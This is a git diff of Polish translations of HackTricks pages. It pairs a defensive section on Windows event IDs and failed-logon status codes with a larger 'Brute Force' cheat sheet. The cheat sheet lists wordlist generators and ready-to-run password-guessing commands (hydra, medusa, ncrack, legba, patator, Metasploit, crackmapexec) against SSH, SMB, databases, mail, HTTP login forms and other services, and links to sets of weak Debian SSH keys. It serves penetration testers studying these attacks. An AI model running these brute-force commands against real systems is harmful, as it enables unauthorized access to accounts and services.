* **EventIDs 4634/4647**: Oznaczają zdarzenia wylogowania użytkownika.
|
||||
* **EventIDs 4634/4647**: Reprezentują zdarzenia wylogowania użytkownika.
|
||||
* **EventID 4672**: Oznacza logowanie z uprawnieniami administracyjnymi.
|
||||
|
||||
#### Podtypy wewnątrz EventID 4634/4647:
|
||||
#### Podtypy w EventID 4634/4647:
|
||||
|
||||
* **Interaktywne (2)**: Bezpośrednie logowanie użytkownika.
|
||||
* **Sieciowe (3)**: Dostęp do udostępnionych folderów.
|
||||
* **Partia (4)**: Wykonywanie procesów wsadowych.
|
||||
* **Interaktywny (2)**: Bezpośrednie logowanie użytkownika.
|
||||
* **Sieciowy (3)**: Dostęp do wspólnych folderów.
|
||||
* **Partia (4)**: Wykonanie procesów wsadowych.
|
||||
* **Usługa (5)**: Uruchomienia usług.
|
||||
* **Proxy (6)**: Uwierzytelnianie proxy.
|
||||
* **Odblokuj (7)**: Odblokowanie ekranu za pomocą hasła.
|
||||
* **Sieć czystym tekstem (8)**: Przesyłanie hasła w czystym tekście, często z IIS.
|
||||
* **Nowe poświadczenia (9)**: Użycie innych poświadczeń do dostępu.
|
||||
* **Zdalne interaktywne (10)**: Logowanie zdalne pulpitu zdalnego lub usług terminalowych.
|
||||
* **Interaktywne pamięci podręcznej (11)**: Logowanie z pamięcią podręczną bez kontaktu z kontrolerem domeny.
|
||||
* **Zdalne interaktywne pamięci podręcznej (12)**: Zdalne logowanie z pamięcią podręczną.
|
||||
* **Odblokowanie z pamięci podręcznej (13)**: Odblokowanie z pamięcią podręczną.
|
||||
* **Proxy (6)**: Uwierzytelnienie proxy.
|
||||
* **Odblokowanie (7)**: Ekran odblokowany hasłem.
|
||||
* **Sieciowy tekst jawny (8)**: Przesyłanie hasła w postaci jawnej, często z IIS.
|
||||
* **Nowe poświadczenia (9)**: Użycie różnych poświadczeń do uzyskania dostępu.
|
||||
* **Zdalny interaktywny (10)**: Logowanie do pulpitu zdalnego lub usług terminalowych.
|
||||
* **Interaktywny z pamięci podręcznej (11)**: Logowanie z pamięci podręcznej bez kontaktu z kontrolerem domeny.
|
||||
* **Zdalny interaktywny z pamięci podręcznej (12)**: Zdalne logowanie z pamięci podręcznej.
|
||||
* **Odblokowanie z pamięci podręcznej (13)**: Odblokowanie z pamięci podręcznej.
|
||||
|
||||
#### Kody stanu i podkody stanu dla EventID 4625:
|
||||
#### Kody statusu i podstatusu dla EventID 4625:
|
||||
|
||||
* **0xC0000064**: Nazwa użytkownika nie istnieje - Może wskazywać na atak polegający na wyliczaniu nazw użytkowników.
|
||||
* **0xC000006A**: Poprawna nazwa użytkownika, ale złe hasło - Możliwa próba zgadywania hasła lub atak brutalnej siły.
|
||||
* **0xC0000234**: Konto użytkownika zablokowane - Może być wynikiem ataku brutalnej siły prowadzącego do wielu nieudanych logowań.
|
||||
* **0xC0000064**: Nazwa użytkownika nie istnieje - Może wskazywać na atak enumeracji nazw użytkowników.
|
||||
* **0xC000006A**: Poprawna nazwa użytkownika, ale błędne hasło - Możliwa próba zgadywania hasła lub atak brute-force.
|
||||
* **0xC0000234**: Konto użytkownika zablokowane - Może nastąpić po ataku brute-force skutkującym wieloma nieudanymi logowaniami.
|
||||
* **0xC0000072**: Konto wyłączone - Nieautoryzowane próby dostępu do wyłączonych kont.
|
||||
* **0xC000006F**: Logowanie poza dozwolonym czasem - Wskazuje na próby dostępu poza ustalonymi godzinami logowania, co może być oznaką nieautoryzowanego dostępu.
|
||||
* **0xC0000070**: Naruszenie ograniczeń stacji roboczej - Może być próbą logowania z nieautoryzowanego miejsca.
|
||||
* **0xC0000193**: Wygaśnięcie konta - Próby dostępu do kont z wygasłymi kontami użytkowników.
|
||||
* **0xC0000071**: Wygasłe hasło - Próby logowania przy przestarzałych hasłach.
|
||||
* **0xC0000133**: Problemy z synchronizacją czasu - Duże rozbieżności czasowe między klientem a serwerem mogą wskazywać na bardziej zaawansowane ataki, takie jak pass-the-ticket.
|
||||
* **0xC0000224**: Wymagana zmiana hasła obowiązkowa - Częste obowiązkowe zmiany mogą sugerować próbę destabilizacji bezpieczeństwa konta.
|
||||
* **0xC0000225**: Wskazuje na błąd systemu, a nie problem z bezpieczeństwem.
|
||||
* **0xC000015b**: Odmowa typu logowania - Próba dostępu z nieautoryzowanym typem logowania, na przykład użytkownik próbujący wykonać logowanie usługi.
|
||||
* **0xC0000070**: Naruszenie ograniczeń stacji roboczej - Może być próbą logowania z nieautoryzowanej lokalizacji.
|
||||
* **0xC0000193**: Wygasłe konto - Próby dostępu z wygasłymi kontami użytkowników.
|
||||
* **0xC0000071**: Wygasłe hasło - Próby logowania z przestarzałymi hasłami.
|
||||
* **0xC0000133**: Problemy z synchronizacją czasu - Duże różnice czasowe między klientem a serwerem mogą wskazywać na bardziej zaawansowane ataki, takie jak pass-the-ticket.
|
||||
* **0xC0000224**: Wymagana zmiana hasła - Częste obowiązkowe zmiany mogą sugerować próbę destabilizacji bezpieczeństwa konta.
|
||||
* **0xC0000225**: Wskazuje na błąd systemowy, a nie problem z bezpieczeństwem.
|
||||
* **0xC000015b**: Odrzucony typ logowania - Próba dostępu z nieautoryzowanym typem logowania, na przykład użytkownik próbujący wykonać logowanie usługi.
|
||||
|
||||
#### EventID 4616:
|
||||
|
||||
* **Zmiana czasu**: Modyfikacja czasu systemowego, która może zaciemnić chronologię zdarzeń.
|
||||
* **Zmiana czasu**: Modyfikacja czasu systemowego, co może zaciemnić chronologię zdarzeń.
|
||||
|
||||
#### EventID 6005 i 6006:
|
||||
|
||||
* **Uruchomienie i Wyłączenie Systemu**: EventID 6005 oznacza uruchomienie systemu, a EventID 6006 oznacza jego wyłączenie.
|
||||
* **Uruchomienie i zamknięcie systemu**: EventID 6005 wskazuje na uruchomienie systemu, podczas gdy EventID 6006 oznacza jego zamknięcie.
|
||||
|
||||
#### EventID 1102:
|
||||
|
||||
* **Usuwanie logów**: Czyszczenie logów zabezpieczeń, co często jest sygnałem ostrzegawczym ukrywania nielegalnych działań.
|
||||
* **Usunięcie logów**: Czyszczenie logów zabezpieczeń, co często jest sygnałem do ukrywania nielegalnych działań.
|
||||
|
||||
#### EventID dla Śledzenia Urządzeń USB:
|
||||
#### EventIDs do śledzenia urządzeń USB:
|
||||
|
||||
* **20001 / 20003 / 10000**: Pierwsze podłączenie urządzenia USB.
|
||||
* **20001 / 20003 / 10000**: Pierwsze połączenie urządzenia USB.
|
||||
* **10100**: Aktualizacja sterownika USB.
|
||||
* **EventID 112**: Czas włożenia urządzenia USB.
|
||||
|
||||
Dla praktycznych przykładów symulowania tych typów logowań i możliwości wydobywania poświadczeń, zapoznaj się z [szczegółowym przewodnikiem Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
Aby uzyskać praktyczne przykłady symulacji tych typów logowania i możliwości zrzutu poświadczeń, zapoznaj się z [szczegółowym przewodnikiem Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
|
||||
Szczegóły zdarzeń, w tym kody stanu i podkody stanu, dostarczają dalszych informacji na temat przyczyn zdarzeń, szczególnie istotne w przypadku Event ID 4625.
|
||||
Szczegóły zdarzeń, w tym kody statusu i podstatusu, dostarczają dalszych informacji na temat przyczyn zdarzeń, szczególnie zauważalnych w Event ID 4625.
|
||||
|
||||
### Odzyskiwanie Zdarzeń Systemu Windows
|
||||
### Przywracanie zdarzeń Windows
|
||||
|
||||
Aby zwiększyć szanse na odzyskanie usuniętych zdarzeń systemu Windows, zaleca się wyłączenie podejrzanego komputera, odłączając go bezpośrednio. Zalecane jest użycie narzędzia do odzyskiwania **Bulk\_extractor**, które obsługuje rozszerzenie `.evtx`, aby spróbować odzyskać takie zdarzenia.
|
||||
Aby zwiększyć szanse na odzyskanie usuniętych zdarzeń Windows, zaleca się wyłączenie podejrzanego komputera poprzez bezpośrednie odłączenie go od zasilania. **Bulk\_extractor**, narzędzie do odzyskiwania, które specyfikuje rozszerzenie `.evtx`, jest zalecane do próby odzyskania takich zdarzeń.
|
||||
|
||||
### Identyfikacja Powszechnych Ataków za Pośrednictwem Zdarzeń Systemu Windows
|
||||
### Identyfikacja powszechnych ataków za pomocą zdarzeń Windows
|
||||
|
||||
Aby uzyskać kompleksowy przewodnik dotyczący wykorzystania identyfikatorów zdarzeń systemu Windows w identyfikowaniu powszechnych ataków cybernetycznych, odwiedź [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
||||
Aby uzyskać kompleksowy przewodnik po wykorzystaniu identyfikatorów zdarzeń Windows w identyfikacji powszechnych ataków cybernetycznych, odwiedź [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
||||
|
||||
#### Ataki Brutalnej Siły
|
||||
#### Ataki brute force
|
||||
|
||||
Można je zidentyfikować poprzez wielokrotne zapisy EventID 4625, a następnie EventID 4624, jeśli atak się powiedzie.
|
||||
Można je zidentyfikować po wielu rekordach EventID 4625, a następnie po EventID 4624, jeśli atak się powiedzie.
|
||||
|
||||
#### Zmiana Czasu
|
||||
#### Zmiana czasu
|
||||
|
||||
Rejestrowana przez EventID 4616, zmiany czasu systemowego mogą utrudnić analizę śledzenia.
|
||||
Rejestrowana przez EventID 4616, zmiany czasu systemowego mogą skomplikować analizę kryminalistyczną.
|
||||
|
||||
#### Śledzenie Urządzeń USB
|
||||
#### Śledzenie urządzeń USB
|
||||
|
||||
Przydatne EventID systemowe dla śledzenia urządzeń USB obejmują 20001/20003/10000 dla pierwszego użycia, 10100 dla aktualizacji sterowników oraz EventID 112 z DeviceSetupManager dla znaczników czasowych włożenia urządzenia.
|
||||
#### Zdarzenia zasilania systemu
|
||||
Użyteczne identyfikatory zdarzeń systemowych do śledzenia urządzeń USB to 20001/20003/10000 dla pierwszego użycia, 10100 dla aktualizacji sterowników i EventID 112 z DeviceSetupManager dla znaczników czasowych włożenia.
|
||||
|
||||
EventID 6005 wskazuje na uruchomienie systemu, podczas gdy EventID 6006 oznacza wyłączenie.
|
||||
#### Wydarzenia zasilania systemu
|
||||
|
||||
#### Usuwanie logów
|
||||
EventID 6005 wskazuje na uruchomienie systemu, podczas gdy EventID 6006 oznacza zamknięcie.
|
||||
|
||||
Zdarzenie bezpieczeństwa EventID 1102 sygnalizuje usunięcie logów, co jest istotne dla analizy śledczej.
|
||||
#### Usunięcie logów
|
||||
|
||||
Zdarzenie zabezpieczeń EventID 1102 sygnalizuje usunięcie logów, co jest krytycznym zdarzeniem dla analizy kryminalistycznej.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# Atak siłowy - Arkusz informacyjny
|
||||
# Brute Force - CheatSheet
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Domyślne dane uwierzytelniające
|
||||
## Domyślne dane logowania
|
||||
|
||||
**Szukaj w Google** domyślnych danych uwierzytelniających technologii, która jest używana, lub **spróbuj tych linków**:
|
||||
**Szukaj w Google** domyślnych danych logowania technologii, która jest używana, lub **wypróbuj te linki**:
|
||||
|
||||
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||
|
@ -54,19 +55,19 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
|||
^ Special characters including spac
|
||||
crunch 6 8 -t ,@@^^%%
|
||||
```
|
||||
### Fajne
|
||||
### Cewl
|
||||
```bash
|
||||
cewl example.com -m 5 -w words.txt
|
||||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
Generowanie haseł na podstawie wiedzy o ofierze (imię, daty...)
|
||||
Generuj hasła na podstawie twojej wiedzy o ofierze (imiona, daty...)
|
||||
```
|
||||
python3 cupp.py -h
|
||||
```
|
||||
### [Wister](https://github.com/cycurity/wister)
|
||||
|
||||
Narzędzie do generowania listy słów, które pozwala dostarczyć zestaw słów, dając możliwość tworzenia wielu wariantów na podstawie podanych słów, tworząc unikalną i idealną listę słów do użycia w odniesieniu do określonego celu.
|
||||
Narzędzie do generowania list słów, które pozwala na dostarczenie zestawu słów, dając możliwość stworzenia wielu wariacji z podanych słów, tworząc unikalną i idealną listę słów do użycia w odniesieniu do konkretnego celu.
|
||||
```bash
|
||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||
|
||||
|
@ -103,14 +104,14 @@ Finished in 0.920s.
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) do łatwego tworzenia i **automatyzacji prac** przy użyciu najbardziej zaawansowanych narzędzi społeczności.\
|
||||
Otrzymaj Dostęp Dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||||
|
||||
## Usługi
|
||||
|
||||
Uporządkowane alfabetycznie według nazwy usługi.
|
||||
Ułożone alfabetycznie według nazwy usługi.
|
||||
|
||||
### AFP
|
||||
```bash
|
||||
|
@ -123,12 +124,10 @@ msf> set USER_FILE <PATH_USERS>
|
|||
msf> run
|
||||
```
|
||||
### AJP
|
||||
|
||||
AJP (Apache JServ Protocol) jest protokołem komunikacyjnym wykorzystywanym do komunikacji między serwerem internetowym a serwerem aplikacji. Atakujący może próbować przeprowadzić atak typu brute force na protokół AJP, próbując odgadnąć hasło dostępu.
|
||||
```bash
|
||||
nmap --script ajp-brute -p 8009 <IP>
|
||||
```
|
||||
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
|
||||
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM i Solace)
|
||||
```bash
|
||||
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
||||
```
|
||||
|
@ -143,7 +142,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
|
|||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
```
|
||||
### Rejestr Docker'a
|
||||
### Rejestr Docker
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||||
```
|
||||
|
@ -174,21 +173,19 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
|
|||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
```
|
||||
### HTTP - Wysyłanie formularza
|
||||
### HTTP - Post Form
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for https
|
||||
```
|
||||
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
|
||||
For http**s** musisz zmienić z "http-post-form" na "**https-post-form"**
|
||||
|
||||
Dla protokołu http**s** musisz zmienić z "http-post-form" na "**https-post-form"**
|
||||
### **HTTP - CMS --** (W)ordpress, (J)oomla lub (D)rupal lub (M)oodle
|
||||
```bash
|
||||
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
||||
# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
||||
```
|
||||
### IMAP
|
||||
|
||||
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker performs a brute-force attack on an IMAP server, they attempt to gain unauthorized access by trying various combinations of usernames and passwords until the correct one is found. This is a common technique used by hackers to compromise email accounts.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||
|
@ -260,8 +257,6 @@ medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on fir
|
|||
#Legba
|
||||
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
|
||||
```
|
||||
### OracleSQL
|
||||
|
||||
### OracleSQL
|
||||
```bash
|
||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||
|
@ -290,13 +285,11 @@ Aby użyć **oracle\_login** z **patator**, musisz **zainstalować**:
|
|||
```bash
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
[Brute force hashowania hasła OracleSQL offline](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**wersje 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**):
|
||||
[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**wersje 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**):
|
||||
```bash
|
||||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||
```
|
||||
### POP
|
||||
|
||||
POP (Post Office Protocol) jest jednym z najstarszych protokołów pocztowych używanych do pobierania wiadomości e-mail z serwera poczty. Atak typu brute force na serwer POP może obejmować wielokrotne próby logowania się przy użyciu różnych kombinacji nazwy użytkownika i hasła w celu uzyskania nieautoryzowanego dostępu do skrzynek pocztowych. Aby zabezpieczyć serwer POP przed atakami brute force, zaleca się stosowanie silnych haseł, ograniczanie liczby prób logowania oraz korzystanie z dodatkowych zabezpieczeń, takich jak dwuetapowa weryfikacja.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||
|
@ -319,7 +312,7 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho
|
|||
```
|
||||
### PPTP
|
||||
|
||||
Możesz pobrać pakiet `.deb` do zainstalowania z [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
||||
Możesz pobrać pakiet `.deb`, aby zainstalować z [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
||||
```bash
|
||||
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
||||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||
|
@ -342,8 +335,6 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t
|
|||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||
```
|
||||
### Rlogin
|
||||
|
||||
Rlogin to protokół zdalnego logowania, który umożliwia użytkownikom zdalny dostęp do systemów Unix. Atak typu brute force na protokół Rlogin polega na próbie odgadnięcia hasła poprzez wielokrotne próby logowania się, zazwyczaj przy użyciu listy haseł lub algorytmu generującego hasła.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```
|
||||
|
@ -403,8 +394,6 @@ nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=cust
|
|||
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
||||
```
|
||||
### SSH
|
||||
|
||||
SSH (Secure Shell) jest protokołem komunikacyjnym, który pozwala na bezpieczne zarządzanie zdalnymi systemami i przesyłanie danych za pomocą zaszyfrowanego połączenia.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -414,19 +403,17 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
|
|||
# Try keys from a folder
|
||||
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||
```
|
||||
#### Słabe klucze SSH / Przewidywalny generator liczb losowych w Debianie
|
||||
#### Słabe klucze SSH / Przewidywalny PRNG w Debianie
|
||||
|
||||
Niektóre systemy posiadają znane wady w losowym ziarnie używanym do generowania materiałów kryptograficznych. Może to skutkować dramatycznym zmniejszeniem przestrzeni kluczy, które można złamać za pomocą narzędzi takich jak [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Gotowe zestawy słabych kluczy są również dostępne, takie jak [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznie zmniejszonej przestrzeni kluczy, która może być brutalnie łamana za pomocą narzędzi takich jak [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Dostępne są również wstępnie wygenerowane zestawy słabych kluczy, takie jak [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)
|
||||
|
||||
Protokół tekstowy STOMP jest powszechnie używanym protokołem komunikacyjnym, który **umożliwia bezproblemową komunikację i interakcję z popularnymi usługami kolejkowania wiadomości** takimi jak RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Zapewnia on standaryzowane i wydajne podejście do wymiany wiadomości i wykonywania różnych operacji związanych z przesyłaniem wiadomości.
|
||||
Protokół tekstowy STOMP jest powszechnie używanym protokołem komunikacyjnym, który **umożliwia bezproblemową komunikację i interakcję z popularnymi usługami kolejkowania wiadomości** takimi jak RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Zapewnia ustandaryzowane i efektywne podejście do wymiany wiadomości i wykonywania różnych operacji związanych z wiadomościami.
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
### Telnet
|
||||
|
||||
Telnet to protokół komunikacyjny, który umożliwia zdalne logowanie się do urządzenia lub serwera. Atakujący mogą użyć techniki brute force, aby próbować zgadnąć hasło i uzyskać nieautoryzowany dostęp. Aby zabezpieczyć się przed atakami brute force, zaleca się korzystanie z silnych haseł, dwuetapowej weryfikacji tożsamości lub filtrowania adresów IP.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -463,18 +450,18 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force), aby łatwo tworzyć i **automatyzować** przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||||
|
||||
## Lokalne
|
||||
## Lokalnie
|
